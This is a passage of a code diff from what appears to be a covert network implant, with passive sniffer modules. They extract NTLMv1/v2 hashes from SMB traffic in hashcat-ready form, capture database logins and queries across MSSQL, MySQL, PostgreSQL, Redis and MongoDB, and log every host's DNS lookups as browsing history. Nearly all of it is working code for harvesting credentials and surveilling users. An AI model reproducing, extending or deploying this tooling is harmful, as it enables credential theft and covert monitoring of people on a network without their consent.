def _parse_smb_ntlm(self, ts: float, src_ip: str, dst_ip: str,
dst_port: int, src_port: int, payload: bytes) -> None:
"""Extract NTLM auth from SMB2 session setup messages."""
# SMB2 header: 0xFE 'S' 'M' 'B'
# Search for NTLMSSP signature in payload
ntlmssp_offset = payload.find(b"NTLMSSP\x00")
if ntlmssp_offset < 0:
return
ntlm_data = payload[ntlmssp_offset:]
target_ip = dst_ip if dst_port == 445 else src_ip
client_ip = src_ip if dst_port == 445 else dst_ip
self._parse_ntlm_token(ts, client_ip, target_ip, 445, "smb", ntlm_data)
def _parse_ntlm_token(self, ts: float, src_ip: str, dst_ip: str,
dst_port: int, service: str, data: bytes) -> None:
"""Parse NTLMSSP authentication message (Type 3) for NTLMv1/v2 hashes."""
if len(data) < 12:
return
# Check NTLMSSP signature
if data[:8] != b"NTLMSSP\x00":
return
msg_type = struct.unpack("<I", data[8:12])[0]
if msg_type == 3: # AUTHENTICATE_MESSAGE
if len(data) < 72:
return
# Parse field offsets
lm_len = struct.unpack("<H", data[12:14])[0]
lm_off = struct.unpack("<I", data[16:20])[0]
nt_len = struct.unpack("<H", data[20:22])[0]
nt_off = struct.unpack("<I", data[24:28])[0]
domain_len = struct.unpack("<H", data[28:30])[0]
domain_off = struct.unpack("<I", data[32:36])[0]
user_len = struct.unpack("<H", data[36:38])[0]
user_off = struct.unpack("<I", data[40:44])[0]
# Extract fields
try:
domain = data[domain_off:domain_off + domain_len].decode("utf-16-le", errors="replace")
username = data[user_off:user_off + user_len].decode("utf-16-le", errors="replace")
except Exception:
return
if not username:
return
# Determine NTLMv1 vs NTLMv2
if nt_len == 24:
# NTLMv1
nt_hash = data[nt_off:nt_off + nt_len].hex()
lm_hash = data[lm_off:lm_off + lm_len].hex() if lm_len > 0 else ""
cred_value = f"{username}::{domain}:{lm_hash}:{nt_hash}:"
cred_type = "ntlmv1"
hashcat_mode = HASHCAT_MODES["ntlmv1"]
elif nt_len > 24:
# NTLMv2
nt_response = data[nt_off:nt_off + nt_len]
nt_proof = nt_response[:16].hex()
nt_blob = nt_response[16:].hex()
# Server challenge would ideally come from Type 2 message
# For now, format as hashcat-compatible partial
cred_value = f"{username}::{domain}::{nt_proof}:{nt_blob}"
cred_type = "ntlmv2"
hashcat_mode = HASHCAT_MODES["ntlmv2"]
else:
return
self._emit_credential(
ts, src_ip, dst_ip, dst_port,
service, username, domain, cred_type, cred_value, hashcat_mode,
)
@staticmethod
def _ber_length(data: bytes, offset: int) -> tuple:
"""Read a BER-encoded length. Returns (length, new_offset) or (-1, offset) on error."""
if offset >= len(data):
return -1, offset
first = data[offset]
offset += 1
if first & 0x80 == 0:
return first, offset
num_bytes = first & 0x7F
if num_bytes == 0 or offset + num_bytes > len(data):
return -1, offset
length = int.from_bytes(data[offset:offset + num_bytes], "big")
return length, offset + num_bytes
# ------------------------------------------------------------------
# Credential emission
# ------------------------------------------------------------------
def _emit_credential(self, ts: float, src_ip: str, target_ip: str,
target_port: int, service: str, username: str,
domain: str, cred_type: str, cred_value: str,
hashcat_mode: int) -> None:
"""Buffer credential for SQLite and immediately publish bus event."""
self._total_creds += 1
record = (ts, src_ip, target_ip, target_port, service,
username, domain, cred_type, cred_value, hashcat_mode)
with self._buffer_lock:
self._buffer.append(record)
if len(self._buffer) >= self.BATCH_SIZE:
self._flush_buffer()
# Immediate bus notification
emit_credential_found(self.bus, self.name, {
"source_ip": src_ip,
"target_ip": target_ip,
"target_port": target_port,
"service": service,
"username": username,
"domain": domain,
"cred_type": cred_type,
"hashcat_mode": hashcat_mode,
})
logger.info(
"CREDENTIAL: %s %s@%s:%d (%s/%s)",
service, username, target_ip, target_port, cred_type,
f"hashcat -m {hashcat_mode}" if hashcat_mode else "plaintext",
)
# ------------------------------------------------------------------
# Buffer flush
# ------------------------------------------------------------------
def _flush_loop(self) -> None:
while self._running:
time.sleep(self.FLUSH_INTERVAL)
try:
self._flush_buffer()
except Exception:
logger.exception("Credential flush error")
def _flush_buffer(self) -> None:
with self._buffer_lock:
batch = list(self._buffer)
self._buffer.clear()
if not batch or not self._db_conn:
return
try:
self._db_conn.executemany(
"INSERT INTO credentials "
"(timestamp, source_ip, target_ip, target_port, service, "
"username, domain, cred_type, cred_value, hashcat_mode) "
"VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?)",
batch,
)
self._db_conn.commit()
except Exception:
logger.exception("Failed to flush %d credentials", len(batch))
+698
View File
@@ -0,0 +1,698 @@
#!/usr/bin/env python3
"""Database protocol interceptor — passive database query and auth monitoring.
Parses login packets and query metadata for:
- MSSQL TDS (1433): TDS7 Login packet, SQL batch text
- MySQL (3306): Handshake, Login Request, COM_QUERY
- PostgreSQL (5432): Startup message, Simple Query
- Redis (6379): AUTH command, key operations
- MongoDB (27017): OP_MSG saslStart, find operations
Logs queries but NOT full result sets to avoid excessive data.
"""
import logging
import os
import socket
import sqlite3
import struct
import threading
import time
from pathlib import Path
from typing import Optional
from modules.base import BaseModule
from utils.credential_encryption import emit_credential_found
logger = logging.getLogger(__name__)
# TDS packet types
TDS_SQL_BATCH = 0x01
TDS_LOGIN7 = 0x10
TDS_PRELOGIN = 0x12
# MySQL commands
MYSQL_COM_QUERY = 0x03
MYSQL_COM_INIT_DB = 0x02
# PostgreSQL message types
PG_STARTUP = 0x00 # No type byte — identified by structure
PG_SIMPLE_QUERY = ord('Q')
PG_PASSWORD = ord('p')
# Redis inline delimiters
REDIS_CRLF = b'\r\n'
# MongoDB opcodes
MONGO_OP_MSG = 2013
_DB_INIT = """
CREATE TABLE IF NOT EXISTS db_queries (
id INTEGER PRIMARY KEY AUTOINCREMENT,
timestamp REAL NOT NULL,
source_ip TEXT NOT NULL,
dest_ip TEXT NOT NULL,
db_type TEXT NOT NULL,
username TEXT DEFAULT '',
database TEXT DEFAULT '',
query_text TEXT DEFAULT '',
operation TEXT NOT NULL
);
CREATE INDEX IF NOT EXISTS idx_dbq_type ON db_queries(db_type);
CREATE INDEX IF NOT EXISTS idx_dbq_user ON db_queries(username);
CREATE INDEX IF NOT EXISTS idx_dbq_ts ON db_queries(timestamp);
"""
FLUSH_INTERVAL = 45
MAX_QUERY_LEN = 2000 # Truncate queries beyond this
class DBInterceptor(BaseModule):
"""Passively intercept database authentication and queries."""
name = "db_interceptor"
module_type = "passive"
priority = 150
requires_root = True
requires_capture_bus = True
def __init__(self, bus, state, config, engine=None):
super().__init__(bus, state, config, engine)
self._capture_bus = None
self._sub_queue = None
self._read_thread: Optional[threading.Thread] = None
self._flush_thread: Optional[threading.Thread] = None
self._db_path = self._resolve_db_path()
self._db_conn: Optional[sqlite3.Connection] = None
self._write_buffer: list[tuple] = []
self._buffer_lock = threading.Lock()
self._stats = {
"packets_processed": 0,
"mssql_events": 0,
"mysql_events": 0,
"postgres_events": 0,
"redis_events": 0,
"mongodb_events": 0,
"logins_captured": 0,
"queries_captured": 0,
}
# ------------------------------------------------------------------
# BaseModule interface
# ------------------------------------------------------------------
def start(self) -> None:
if self._running:
return
self._init_db()
self._capture_bus = self.config.get("_capture_bus")
if self._capture_bus is None:
logger.error("DBInterceptor requires _capture_bus in config")
return
bpf = "port 1433 or port 3306 or port 5432 or port 6379 or port 27017"
self._sub_queue = self._capture_bus.subscribe(
name=self.name, bpf_filter=bpf, queue_depth=5000
)
self._running = True
self._start_time = time.time()
self._pid = os.getpid()
self._read_thread = threading.Thread(
target=self._read_loop, daemon=True, name="sensor-dbi-read"
)
self._read_thread.start()
self._flush_thread = threading.Thread(
target=self._flush_loop, daemon=True, name="sensor-dbi-flush"
)
self._flush_thread.start()
self.state.set_module_status(self.name, "running", pid=self._pid)
self.bus.emit("MODULE_STARTED", {"module": self.name}, source_module=self.name)
logger.info("DBInterceptor started")
def stop(self) -> None:
if not self._running:
return
self._running = False
if self._capture_bus:
self._capture_bus.unsubscribe(self.name)
for t in (self._read_thread, self._flush_thread):
if t and t.is_alive():
t.join(timeout=5.0)
self._flush_buffer()
if self._db_conn:
self._db_conn.close()
self._db_conn = None
self.state.set_module_status(self.name, "stopped")
self.bus.emit("MODULE_STOPPED", {"module": self.name}, source_module=self.name)
logger.info("DBInterceptor stopped — stats: %s", self._stats)
def status(self) -> dict:
return {
"running": self._running,
"pid": self._pid,
"uptime": time.time() - self._start_time if self._start_time else 0,
**self._stats,
}
def configure(self, config: dict) -> None:
self.config.update(config)
# ------------------------------------------------------------------
# Packet processing
# ------------------------------------------------------------------
def _read_loop(self) -> None:
while self._running:
result = self._sub_queue.get(timeout=1.0)
if result is None:
continue
ts, pkt = result
self._stats["packets_processed"] += 1
try:
self._process_packet(pkt, ts)
except Exception:
logger.debug("Error processing DB packet", exc_info=True)
def _process_packet(self, pkt: bytes, ts: float) -> None:
"""Route packet to the correct database parser based on port."""
if len(pkt) < 54:
return
ethertype = struct.unpack("!H", pkt[12:14])[0]
eth_offset = 14
if ethertype == 0x8100:
if len(pkt) < 58:
return
ethertype = struct.unpack("!H", pkt[16:18])[0]
eth_offset = 18
if ethertype != 0x0800:
return
ip_header = pkt[eth_offset:]
if len(ip_header) < 20:
return
ihl = (ip_header[0] & 0x0F) * 4
ip_proto = ip_header[9]
if ip_proto != 6: # TCP only
return
src_ip = socket.inet_ntoa(ip_header[12:16])
dst_ip = socket.inet_ntoa(ip_header[16:20])
if len(ip_header) < ihl + 20:
return
src_port, dst_port = struct.unpack("!HH", ip_header[ihl:ihl + 4])
tcp_data_off = ((ip_header[ihl + 12] >> 4) & 0xF) * 4
payload = ip_header[ihl + tcp_data_off:]
if len(payload) < 4:
return
# Route by destination port (client -> server)
if dst_port == 1433 or src_port == 1433:
self._parse_mssql(payload, src_ip, dst_ip, dst_port == 1433, ts)
elif dst_port == 3306 or src_port == 3306:
self._parse_mysql(payload, src_ip, dst_ip, dst_port == 3306, ts)
elif dst_port == 5432 or src_port == 5432:
self._parse_postgres(payload, src_ip, dst_ip, dst_port == 5432, ts)
elif dst_port == 6379 or src_port == 6379:
self._parse_redis(payload, src_ip, dst_ip, dst_port == 6379, ts)
elif dst_port == 27017 or src_port == 27017:
self._parse_mongodb(payload, src_ip, dst_ip, dst_port == 27017, ts)
# ------------------------------------------------------------------
# MSSQL TDS parser
# ------------------------------------------------------------------
def _parse_mssql(self, payload: bytes, src_ip: str, dst_ip: str,
is_to_server: bool, ts: float) -> None:
"""Parse MSSQL TDS packets."""
if len(payload) < 8:
return
# TDS header: type(1), status(1), length(2), SPID(2), packet(1), window(1)
tds_type = payload[0]
tds_len = struct.unpack("!H", payload[2:4])[0]
if tds_type == TDS_LOGIN7 and is_to_server and len(payload) >= 36:
self._parse_tds_login7(payload[8:], src_ip, dst_ip, ts)
elif tds_type == TDS_SQL_BATCH and is_to_server:
# SQL batch: header group + SQL text (all Unicode LE after 8-byte TDS header)
self._parse_tds_sql_batch(payload[8:], src_ip, dst_ip, ts)
def _parse_tds_login7(self, data: bytes, src_ip: str, dst_ip: str,
ts: float) -> None:
"""Parse TDS7 Login packet for username, hostname, app name."""
if len(data) < 36:
return
self._stats["mssql_events"] += 1
self._stats["logins_captured"] += 1
try:
# TDS7 Login: fixed header of 36 bytes then variable data
# HostName offset(2) + length(2) at offset 8
# UserName offset(2) + length(2) at offset 16
# AppName offset(2) + length(2) at offset 24
# ServerName offset(2) + length(2) at offset 28
# Database offset(2) + length(2) at offset 40 (but we have 36-byte minimum)
hostname_off = struct.unpack("<H", data[8:10])[0]
hostname_len = struct.unpack("<H", data[10:12])[0]
username_off = struct.unpack("<H", data[16:18])[0]
username_len = struct.unpack("<H", data[18:20])[0]
appname_off = struct.unpack("<H", data[24:26])[0]
appname_len = struct.unpack("<H", data[26:28])[0]
# Offsets are in chars (UTF-16LE = 2 bytes per char)
username = self._read_utf16le(data, username_off, username_len)
hostname = self._read_utf16le(data, hostname_off, hostname_len)
appname = self._read_utf16le(data, appname_off, appname_len)
database = ""
if len(data) >= 44:
db_off = struct.unpack("<H", data[40:42])[0]
db_len = struct.unpack("<H", data[42:44])[0]
database = self._read_utf16le(data, db_off, db_len)
self._record_query(
ts, src_ip, dst_ip, "mssql", username, database,
f"LOGIN hostname={hostname} app={appname}", "login"
)
emit_credential_found(self.bus, self.name, {
"source": "mssql_tds_login",
"username": username,
"hostname": hostname,
"source_ip": src_ip,
"dest_ip": dst_ip,
"database": database,
})
except Exception:
logger.debug("Failed to parse TDS Login7", exc_info=True)
def _parse_tds_sql_batch(self, data: bytes, src_ip: str, dst_ip: str,
ts: float) -> None:
"""Parse TDS SQL Batch for query text."""
if len(data) < 4:
return
# TDS SQL Batch: ALL_HEADERS (variable) + SQL text
# ALL_HEADERS starts with TotalLength(4)
total_headers_len = struct.unpack("<I", data[0:4])[0]
if total_headers_len > len(data):
total_headers_len = 0
sql_bytes = data[total_headers_len:]
if not sql_bytes:
return
try:
query = sql_bytes.decode("utf-16-le", errors="replace")
except Exception:
query = sql_bytes.decode("ascii", errors="replace")
query = query.strip('\x00').strip()[:MAX_QUERY_LEN]
if query:
self._stats["mssql_events"] += 1
self._stats["queries_captured"] += 1
self._record_query(ts, src_ip, dst_ip, "mssql", "", "", query, "query")
@staticmethod
def _read_utf16le(data: bytes, char_offset: int, char_length: int) -> str:
"""Read UTF-16LE string from TDS data using char offset/length."""
byte_off = char_offset * 2
byte_len = char_length * 2
if byte_off + byte_len > len(data):
return ""
try:
return data[byte_off:byte_off + byte_len].decode("utf-16-le", errors="replace")
except Exception:
return ""
# ------------------------------------------------------------------
# MySQL parser
# ------------------------------------------------------------------
def _parse_mysql(self, payload: bytes, src_ip: str, dst_ip: str,
is_to_server: bool, ts: float) -> None:
"""Parse MySQL protocol packets."""
if len(payload) < 5:
return
# MySQL packet: length(3 LE) + sequence_id(1) + payload
pkt_len = struct.unpack("<I", payload[0:3] + b'\x00')[0]
seq_id = payload[3]
mysql_data = payload[4:]
if not mysql_data:
return
if not is_to_server:
# Server -> client: check for Handshake (protocol version 10)
if mysql_data[0] == 10 and seq_id == 0:
self._parse_mysql_handshake(mysql_data, src_ip, dst_ip, ts)
return
# Client -> server
cmd = mysql_data[0]
if cmd == MYSQL_COM_QUERY and len(mysql_data) > 1:
query = mysql_data[1:min(len(mysql_data), MAX_QUERY_LEN + 1)].decode(
"utf-8", errors="replace"
)
self._stats["mysql_events"] += 1
self._stats["queries_captured"] += 1
self._record_query(ts, src_ip, dst_ip, "mysql", "", "", query, "query")
elif seq_id == 1 and len(mysql_data) >= 32:
# Login Request (HandshakeResponse)
self._parse_mysql_login(mysql_data, src_ip, dst_ip, ts)
def _parse_mysql_handshake(self, data: bytes, src_ip: str, dst_ip: str,
ts: float) -> None:
"""Parse MySQL server Handshake for version info."""
# Protocol version (1) + server version (null-terminated)
if len(data) < 5:
return
null_idx = data.find(b'\x00', 1)
if null_idx < 0:
return
server_version = data[1:null_idx].decode("ascii", errors="replace")
self._stats["mysql_events"] += 1
# Record as informational
self._record_query(
ts, dst_ip, src_ip, "mysql", "", "",
f"SERVER_HANDSHAKE version={server_version}", "handshake"
)
def _parse_mysql_login(self, data: bytes, src_ip: str, dst_ip: str,
ts: float) -> None:
"""Parse MySQL Login Request (HandshakeResponse41)."""
if len(data) < 32:
return
try:
# Client capabilities (4 bytes), max packet (4), charset (1),
# reserved (23 bytes), username (null-terminated)
username_start = 32
null_idx = data.find(b'\x00', username_start)
if null_idx < 0:
return
username = data[username_start:null_idx].decode("utf-8", errors="replace")
# After username + null + auth data, there may be a database name
database = ""
# Skip auth response length + data
pos = null_idx + 1
if pos < len(data):
auth_len = data[pos]
pos += 1 + auth_len
if pos < len(data):
db_null = data.find(b'\x00', pos)
if db_null > pos:
database = data[pos:db_null].decode("utf-8", errors="replace")
self._stats["mysql_events"] += 1
self._stats["logins_captured"] += 1
self._record_query(ts, src_ip, dst_ip, "mysql", username, database, "", "login")
emit_credential_found(self.bus, self.name, {
"source": "mysql_login",
"username": username,
"database": database,
"source_ip": src_ip,
"dest_ip": dst_ip,
})
except Exception:
logger.debug("Failed to parse MySQL login", exc_info=True)
# ------------------------------------------------------------------
# PostgreSQL parser
# ------------------------------------------------------------------
def _parse_postgres(self, payload: bytes, src_ip: str, dst_ip: str,
is_to_server: bool, ts: float) -> None:
"""Parse PostgreSQL protocol messages."""
if not is_to_server or len(payload) < 8:
return
# Check for Startup Message: length(4) + protocol_version(4)
# Protocol version 3.0 = 0x00030000
if len(payload) >= 8:
msg_len = struct.unpack("!I", payload[0:4])[0]
proto_ver = struct.unpack("!I", payload[4:8])[0]
if proto_ver == 0x00030000 and msg_len > 8:
# Startup message: parse key=value pairs
self._parse_pg_startup(payload[8:msg_len], src_ip, dst_ip, ts)
return
# Simple Query: type='Q' + length(4) + query_string
if payload[0] == PG_SIMPLE_QUERY and len(payload) >= 6:
query_len = struct.unpack("!I", payload[1:5])[0]
query = payload[5:min(5 + query_len - 1, 5 + MAX_QUERY_LEN)].decode(
"utf-8", errors="replace"
).rstrip('\x00')
if query:
self._stats["postgres_events"] += 1
self._stats["queries_captured"] += 1
self._record_query(ts, src_ip, dst_ip, "postgres", "", "", query, "query")
def _parse_pg_startup(self, data: bytes, src_ip: str, dst_ip: str,
ts: float) -> None:
"""Parse PostgreSQL Startup Message key-value pairs."""
username = ""
database = ""
pos = 0
while pos < len(data) - 1:
null_idx = data.find(b'\x00', pos)
if null_idx < 0:
break
key = data[pos:null_idx].decode("utf-8", errors="replace")
pos = null_idx + 1
val_null = data.find(b'\x00', pos)
if val_null < 0:
break
value = data[pos:val_null].decode("utf-8", errors="replace")
pos = val_null + 1
if key == "user":
username = value
elif key == "database":
database = value
if not key: # Terminal null
break
if username:
self._stats["postgres_events"] += 1
self._stats["logins_captured"] += 1
self._record_query(ts, src_ip, dst_ip, "postgres", username, database, "", "login")
emit_credential_found(self.bus, self.name, {
"source": "postgres_startup",
"username": username,
"database": database,
"source_ip": src_ip,
"dest_ip": dst_ip,
})
# ------------------------------------------------------------------
# Redis parser
# ------------------------------------------------------------------
def _parse_redis(self, payload: bytes, src_ip: str, dst_ip: str,
is_to_server: bool, ts: float) -> None:
"""Parse Redis RESP protocol for AUTH commands and key operations."""
if not is_to_server or len(payload) < 3:
return
# RESP: commands start with * (array) followed by count
if payload[0:1] == b'*':
args = self._parse_resp_array(payload)
if not args:
return
cmd = args[0].upper() if args else ""
if cmd == "AUTH":
# AUTH [username] password
password = args[-1] if len(args) >= 2 else ""
username = args[1] if len(args) >= 3 else ""
self._stats["redis_events"] += 1
self._stats["logins_captured"] += 1
self._record_query(ts, src_ip, dst_ip, "redis", username, "", "AUTH ***", "login")
emit_credential_found(self.bus, self.name, {
"source": "redis_auth",
"username": username,
"source_ip": src_ip,
"dest_ip": dst_ip,
})
elif cmd in ("GET", "SET", "HGET", "HSET", "DEL", "KEYS",
"MGET", "MSET", "LPUSH", "RPUSH", "SADD", "ZADD"):
query = " ".join(args[:3]) # Command + first 2 args max
self._stats["redis_events"] += 1
self._stats["queries_captured"] += 1
self._record_query(
ts, src_ip, dst_ip, "redis", "", "",
query[:MAX_QUERY_LEN], "query"
)
def _parse_resp_array(self, data: bytes) -> list:
"""Parse a RESP array into a list of string arguments."""
args = []
lines = data.split(REDIS_CRLF)
if not lines or not lines[0].startswith(b'*'):
return args
try:
count = int(lines[0][1:])
except ValueError:
return args
idx = 1
while len(args) < count and idx < len(lines) - 1:
if lines[idx].startswith(b'$'):
try:
str_len = int(lines[idx][1:])
except ValueError:
break
idx += 1
if idx < len(lines):
args.append(lines[idx].decode("utf-8", errors="replace")[:MAX_QUERY_LEN])
idx += 1
else:
# Inline format
args.append(lines[idx].decode("utf-8", errors="replace"))
idx += 1
return args
# ------------------------------------------------------------------
# MongoDB parser
# ------------------------------------------------------------------
def _parse_mongodb(self, payload: bytes, src_ip: str, dst_ip: str,
is_to_server: bool, ts: float) -> None:
"""Parse MongoDB wire protocol for auth and find operations."""
if len(payload) < 16:
return
# MongoDB wire protocol header: length(4 LE) + requestID(4) + responseTo(4) + opCode(4)
msg_len = struct.unpack("<I", payload[0:4])[0]
opcode = struct.unpack("<I", payload[12:16])[0]
if opcode != MONGO_OP_MSG or len(payload) < 21:
return
if not is_to_server:
return
# OP_MSG: flagBits(4) + sections
# Section kind 0: body (BSON document)
sections_start = 20
if sections_start >= len(payload):
return
section_kind = payload[sections_start]
if section_kind != 0:
return
bson_data = payload[sections_start + 1:]
if len(bson_data) < 5:
return
# Minimal BSON parsing: look for command keys
bson_str = bson_data.decode("utf-8", errors="replace")
if "saslStart" in bson_str or "authenticate" in bson_str:
self._stats["mongodb_events"] += 1
self._stats["logins_captured"] += 1
# Extract mechanism if visible
mechanism = ""
if "SCRAM-SHA" in bson_str:
mechanism = "SCRAM-SHA"
elif "PLAIN" in bson_str:
mechanism = "PLAIN"
self._record_query(
ts, src_ip, dst_ip, "mongodb", "", "",
f"AUTH mechanism={mechanism}", "login"
)
elif "find" in bson_str or "aggregate" in bson_str or "insert" in bson_str:
# Extract collection name heuristically
operation = "find" if "find" in bson_str else ("aggregate" if "aggregate" in bson_str else "insert")
self._stats["mongodb_events"] += 1
self._stats["queries_captured"] += 1
self._record_query(
ts, src_ip, dst_ip, "mongodb", "", "",
f"{operation} (BSON)", "query"
)
# ------------------------------------------------------------------
# Database
# ------------------------------------------------------------------
def _resolve_db_path(self) -> str:
base = self.config.get("db_dir", os.path.join(
os.path.expanduser("~"), ".implant"
))
return os.path.join(base, "db_interceptor.db")
def _init_db(self) -> None:
Path(self._db_path).parent.mkdir(parents=True, exist_ok=True)
self._db_conn = sqlite3.connect(self._db_path, check_same_thread=False)
self._db_conn.execute("PRAGMA journal_mode=WAL")
self._db_conn.execute("PRAGMA synchronous=NORMAL")
self._db_conn.executescript(_DB_INIT)
self._db_conn.commit()
def _record_query(self, ts: float, src_ip: str, dst_ip: str,
db_type: str, username: str, database: str,
query_text: str, operation: str) -> None:
with self._buffer_lock:
self._write_buffer.append((
ts, src_ip, dst_ip, db_type, username, database,
query_text[:MAX_QUERY_LEN], operation
))
def _flush_buffer(self) -> None:
with self._buffer_lock:
batch = list(self._write_buffer)
self._write_buffer.clear()
if not batch or not self._db_conn:
return
try:
with self._db_conn:
self._db_conn.executemany(
"""INSERT INTO db_queries
(timestamp, source_ip, dest_ip, db_type, username,
database, query_text, operation)
VALUES (?, ?, ?, ?, ?, ?, ?, ?)""",
batch,
)
except Exception:
logger.exception("Failed to flush DB queries")
def _flush_loop(self) -> None:
while self._running:
time.sleep(FLUSH_INTERVAL)
try:
self._flush_buffer()
except Exception:
logger.exception("Flush loop error")
+401
View File
@@ -0,0 +1,401 @@
#!/usr/bin/env python3
"""Passive DNS query logger — builds per-host browsing history from wire.
Subscribes to capture_bus with BPF "port 53". Parses DNS query/response
packets using struct (no scapy dependency). Buffers records and batch-flushes
to SQLite every 60 seconds or 1000 records.
Also flags DoH connections to known resolvers on port 443 as DNS blind spots.
"""
import logging
import os
import socket
import sqlite3
import struct
import threading
import time
from pathlib import Path
from typing import Optional
from modules.base import BaseModule
logger = logging.getLogger(__name__)
# Well-known DoH resolver IPs
DOH_RESOLVERS = frozenset([
"1.1.1.1", "1.0.0.1", # Cloudflare
"8.8.8.8", "8.8.4.4", # Google
"9.9.9.9", "149.112.112.112", # Quad9
"208.67.222.222", "208.67.220.220", # OpenDNS
])
# DNS query type map
QTYPES = {
1: "A", 2: "NS", 5: "CNAME", 6: "SOA", 12: "PTR",
15: "MX", 16: "TXT", 28: "AAAA", 33: "SRV", 35: "NAPTR",
43: "DS", 46: "RRSIG", 47: "NSEC", 48: "DNSKEY",
52: "TLSA", 65: "HTTPS", 257: "CAA", 255: "ANY",
}
class DNSLogger(BaseModule):
"""Log all DNS queries and responses per source IP."""
name = "dns_logger"
module_type = "passive"
priority = 100
requires_root = True
requires_capture_bus = True
BATCH_SIZE = 1000
FLUSH_INTERVAL = 60 # seconds
def __init__(self, bus, state, config, engine=None):
super().__init__(bus, state, config, engine)
self._capture_bus = None
self._sub_queue = None
self._reader_thread: Optional[threading.Thread] = None
self._flusher_thread: Optional[threading.Thread] = None
self._buffer = []
self._buffer_lock = threading.Lock()
self._db_path = ""
self._db_conn: Optional[sqlite3.Connection] = None
self._total_queries = 0
self._doh_detections = 0
# ------------------------------------------------------------------
# BaseModule interface
# ------------------------------------------------------------------
def start(self) -> None:
if self._running:
return
self._capture_bus = self.config.get("capture_bus")
if not self._capture_bus:
logger.error("DNSLogger requires capture_bus in config")
return
# Database setup
base_dir = self.config.get("data_dir", os.path.expanduser("~/.implant"))
self._db_path = os.path.join(base_dir, "dns_queries.db")
Path(os.path.dirname(self._db_path)).mkdir(parents=True, exist_ok=True)
self._init_db()
# Subscribe to capture bus for DNS traffic
self._sub_queue = self._capture_bus.subscribe(
name=self.name, bpf_filter="port 53", queue_depth=10000
)
self._running = True
self._pid = os.getpid()
self._start_time = time.time()
# Packet reader thread
self._reader_thread = threading.Thread(
target=self._read_packets, daemon=True, name="sensor-dns-reader"
)
self._reader_thread.start()
# Periodic flusher thread
self._flusher_thread = threading.Thread(
target=self._flush_loop, daemon=True, name="sensor-dns-flusher"
)
self._flusher_thread.start()
self.state.set_module_status(self.name, "running", pid=os.getpid())
logger.info("DNSLogger started — listening for DNS on port 53")
def stop(self) -> None:
if not self._running:
return
self._running = False
# Unsubscribe from capture bus
if self._capture_bus:
self._capture_bus.unsubscribe(self.name)
# Final flush
self._flush_buffer()
if self._db_conn:
self._db_conn.close()
self._db_conn = None
self.state.set_module_status(self.name, "stopped")
logger.info("DNSLogger stopped — %d total queries logged", self._total_queries)
def status(self) -> dict:
return {
"running": self._running,
"pid": self._pid,
"uptime": time.time() - self._start_time if self._start_time else 0,
"total_queries": self._total_queries,
"doh_detections": self._doh_detections,
"buffer_size": len(self._buffer),
}
def configure(self, config: dict) -> None:
self.config.update(config)
# ------------------------------------------------------------------
# Database
# ------------------------------------------------------------------
def _init_db(self) -> None:
self._db_conn = sqlite3.connect(self._db_path, check_same_thread=False)
self._db_conn.execute("PRAGMA journal_mode=WAL")
self._db_conn.execute("PRAGMA synchronous=NORMAL")
self._db_conn.executescript("""
CREATE TABLE IF NOT EXISTS dns_queries (
id INTEGER PRIMARY KEY AUTOINCREMENT,
timestamp REAL NOT NULL,
source_ip TEXT NOT NULL,
domain TEXT NOT NULL,
query_type TEXT,
response_ips TEXT,
ttl INTEGER,
is_doh INTEGER DEFAULT 0
);
CREATE INDEX IF NOT EXISTS idx_dns_source ON dns_queries(source_ip);
CREATE INDEX IF NOT EXISTS idx_dns_domain ON dns_queries(domain);
CREATE INDEX IF NOT EXISTS idx_dns_ts ON dns_queries(timestamp);
""")
self._db_conn.commit()
# ------------------------------------------------------------------
# Packet reader
# ------------------------------------------------------------------
def _read_packets(self) -> None:
"""Pull packets from capture bus queue and parse DNS."""
while self._running:
result = self._sub_queue.get(timeout=1.0)
if result is None:
continue
ts, raw_packet = result
try:
self._parse_packet(ts, raw_packet)
except Exception:
pass # Malformed packets are silently dropped
def _parse_packet(self, ts: float, raw: bytes) -> None:
"""Parse an Ethernet frame containing a DNS packet."""
if len(raw) < 14:
return
# Ethernet header
eth_type = struct.unpack("!H", raw[12:14])[0]
if eth_type == 0x8100: # 802.1Q VLAN
if len(raw) < 18:
return
eth_type = struct.unpack("!H", raw[16:18])[0]
ip_offset = 18
else:
ip_offset = 14
if eth_type != 0x0800: # IPv4 only
return
if len(raw) < ip_offset + 20:
return
# IPv4 header
ip_header = raw[ip_offset:]
ihl = (ip_header[0] & 0x0F) * 4
ip_proto = ip_header[9]
src_ip = socket.inet_ntoa(ip_header[12:16])
dst_ip = socket.inet_ntoa(ip_header[16:20])
# UDP (17) or TCP (6) transport
transport_offset = ip_offset + ihl
if ip_proto == 17: # UDP
if len(raw) < transport_offset + 8:
return
src_port, dst_port = struct.unpack("!HH", raw[transport_offset:transport_offset + 4])
dns_offset = transport_offset + 8
# Check for DoH: known resolvers on port 443
if dst_port == 443 and dst_ip in DOH_RESOLVERS:
self._doh_detections += 1
record = (ts, src_ip, f"[DoH:{dst_ip}]", "DoH", "", 0, 1)
with self._buffer_lock:
self._buffer.append(record)
if len(self._buffer) >= self.BATCH_SIZE:
self._flush_buffer()
return
if src_port != 53 and dst_port != 53:
return
elif ip_proto == 6: # TCP DNS (rare, used for large responses)
if len(raw) < transport_offset + 20:
return
src_port, dst_port = struct.unpack("!HH", raw[transport_offset:transport_offset + 4])
if src_port != 53 and dst_port != 53:
return
tcp_header_len = ((raw[transport_offset + 12] >> 4) & 0xF) * 4
dns_offset = transport_offset + tcp_header_len
# TCP DNS has 2-byte length prefix
if len(raw) < dns_offset + 2:
return
dns_offset += 2
else:
return
# Parse DNS payload
dns_data = raw[dns_offset:]
if len(dns_data) < 12:
return
self._parse_dns(ts, src_ip, dst_ip, src_port, dst_port, dns_data)
def _parse_dns(self, ts: float, src_ip: str, dst_ip: str,
src_port: int, dst_port: int, data: bytes) -> None:
"""Parse DNS header + question/answer sections."""
# DNS header: ID(2) FLAGS(2) QDCOUNT(2) ANCOUNT(2) NSCOUNT(2) ARCOUNT(2)
txid, flags, qdcount, ancount, nscount, arcount = struct.unpack(
"!HHHHHH", data[:12]
)
is_response = bool(flags & 0x8000)
offset = 12
# Parse questions
domains = []
query_types = []
for _ in range(qdcount):
domain, offset = self._read_name(data, offset)
if offset + 4 > len(data):
return
qtype, qclass = struct.unpack("!HH", data[offset:offset + 4])
offset += 4
if domain:
domains.append(domain)
query_types.append(QTYPES.get(qtype, str(qtype)))
# Parse answers (responses only)
response_ips = []
min_ttl = 0
if is_response:
for _ in range(ancount):
if offset >= len(data):
break
_name, offset = self._read_name(data, offset)
if offset + 10 > len(data):
break
rtype, _rclass, ttl, rdlength = struct.unpack(
